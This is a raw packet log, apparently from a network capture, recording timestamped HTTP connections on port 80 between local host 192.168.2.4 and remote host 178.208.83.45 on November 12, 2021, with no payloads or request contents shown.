Nov 12, 2021 22:23:31.459172010 CET	49825	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.578000069 CET	49825	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.579493046 CET	49826	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.600447893 CET	80	49825	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.601775885 CET	80	49826	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.601876020 CET	49825	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.601936102 CET	49826	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.602646112 CET	49826	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.624952078 CET	80	49826	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.627692938 CET	80	49826	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.631194115 CET	49826	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.733973026 CET	49826	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.735177994 CET	49827	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.756500006 CET	80	49826	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.757169008 CET	49826	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.757661104 CET	80	49827	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.759318113 CET	49827	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.760157108 CET	49827	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.782700062 CET	80	49827	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.785746098 CET	80	49827	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.786782026 CET	49827	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.838000059 CET	49827	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.840120077 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.860588074 CET	80	49827	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.860769033 CET	49827	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.863042116 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.863182068 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.863842010 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.864084959 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.864485025 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.864793062 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.886466980 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.886661053 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887039900 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887058973 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887070894 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887149096 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887161970 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887170076 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887203932 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.887238026 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.887278080 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.887300014 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887312889 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887320995 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887334108 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.887358904 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.887387991 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.887415886 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.892316103 CET	49829	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.909828901 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.909853935 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.909864902 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.909877062 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.909887075 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.909910917 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.909944057 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.909998894 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.910024881 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.910063982 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910078049 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910090923 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910101891 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910115957 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910126925 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910139084 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910152912 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910170078 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.910192966 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.910244942 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.910264969 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.910460949 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910479069 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910558939 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.910614014 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910624981 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910633087 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.910675049 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.910701990 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.914716959 CET	80	49829	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.914901972 CET	49829	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.915643930 CET	49829	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.932605028 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932624102 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932638884 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932683945 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.932684898 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932702065 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932718039 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932734966 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932744980 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932754040 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.932754993 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932775974 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.932821035 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932825089 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.932837963 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932862997 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932879925 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932894945 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932913065 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932928085 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932943106 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932959080 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932969093 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932984114 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.932993889 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933037043 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933051109 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933067083 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933083057 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933099985 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933116913 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933130026 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933145046 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933211088 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933223963 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933239937 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933254957 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933269024 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933284044 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933567047 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.933609009 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933634043 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.933636904 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.939176083 CET	80	49829	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.941987991 CET	80	49829	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.942188978 CET	49829	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:31.955352068 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.955456972 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.955607891 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.955635071 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.955813885 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.955853939 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.955887079 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.955918074 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.955941916 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.955965042 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.956042051 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.956065893 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.956087112 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.956111908 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.960405111 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:31.960625887 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.046736002 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.047189951 CET	49829	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.048823118 CET	49830	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.070677996 CET	80	49828	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.070719957 CET	80	49829	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.070822001 CET	49828	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.070836067 CET	49829	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.072992086 CET	80	49830	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.073096991 CET	49830	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.073916912 CET	49830	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.096390009 CET	80	49830	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.100353003 CET	80	49830	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.100431919 CET	49830	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.206110954 CET	49830	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.207691908 CET	49831	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.228491068 CET	80	49830	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.228596926 CET	49830	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.230030060 CET	80	49831	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.230194092 CET	49831	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.230894089 CET	49831	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.253207922 CET	80	49831	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.256362915 CET	80	49831	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.256520987 CET	49831	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.359380007 CET	49831	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.360551119 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.385230064 CET	80	49831	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.385292053 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.385411024 CET	49831	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.385483980 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.386087894 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.408561945 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.414083004 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.414164066 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.438690901 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.438797951 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.438980103 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.439047098 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.463763952 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.463790894 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.463799000 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.463809013 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.463821888 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.463830948 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.464078903 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.464206934 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.486845016 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.486870050 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.486886024 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.486898899 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.486910105 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.486918926 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.486932993 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.486943007 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.486958027 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.487014055 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.487097025 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.487154007 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.487184048 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.487270117 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.510915041 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.510936975 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.510946035 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.510955095 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.510962963 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.510972023 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.510983944 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.510993958 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.511008024 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.511140108 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.511145115 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.511204004 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.511629105 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.511642933 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.511739969 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.511753082 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.511857986 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.511871099 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.531697035 CET	49833	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.533866882 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.533871889 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.534065962 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.536317110 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.536417961 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.556215048 CET	80	49833	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.556371927 CET	49833	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.557029963 CET	49833	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.580157995 CET	80	49833	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.583277941 CET	80	49833	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.583399057 CET	49833	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.687725067 CET	49833	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.687983990 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.689435005 CET	49834	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.710453987 CET	80	49833	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.710474014 CET	80	49832	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.710544109 CET	49833	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.710580111 CET	49832	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.712441921 CET	80	49834	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.712542057 CET	49834	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.713207006 CET	49834	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.735680103 CET	80	49834	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.739675045 CET	80	49834	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.739836931 CET	49834	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.843590021 CET	49834	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.844995975 CET	49835	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.866391897 CET	80	49834	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.866504908 CET	49834	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.867355108 CET	80	49835	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.867466927 CET	49835	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.868107080 CET	49835	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:32.891664982 CET	80	49835	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.893281937 CET	80	49835	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:32.893440962 CET	49835	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.240820885 CET	49835	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.257452965 CET	49836	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.259694099 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.263236046 CET	80	49835	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.264401913 CET	49835	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.280201912 CET	80	49836	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.280525923 CET	49836	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.280977011 CET	49836	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.282164097 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.282274961 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.282834053 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.282988071 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.283126116 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.283174038 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.283303976 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.303244114 CET	80	49836	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305166006 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305232048 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305485010 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305505037 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305522919 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305541992 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305561066 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305579901 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305600882 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305610895 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.305619955 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305639029 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305659056 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.305664062 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.305695057 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.305716991 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.305747032 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.305767059 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.311841011 CET	80	49836	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.312589884 CET	49836	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.328654051 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328695059 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328722954 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328749895 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328774929 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328798056 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.328800917 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328830957 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328882933 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.328893900 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328917980 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.328923941 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328933001 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.328949928 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.328953028 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328962088 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.328979015 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.328994989 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.329006910 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.329015970 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.329034090 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.329057932 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.329060078 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.329072952 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.329086065 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.329094887 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.329113007 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.329114914 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.329137087 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.329176903 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.329226017 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.329252005 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.329309940 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.329330921 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.329376936 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.351640940 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.351681948 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.351707935 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.351797104 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.351825953 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.351854086 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.351878881 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.351877928 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.351906061 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.351943970 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.351958036 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.351970911 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.352054119 CET	80	49837	178.208.83.45	192.168.2.4
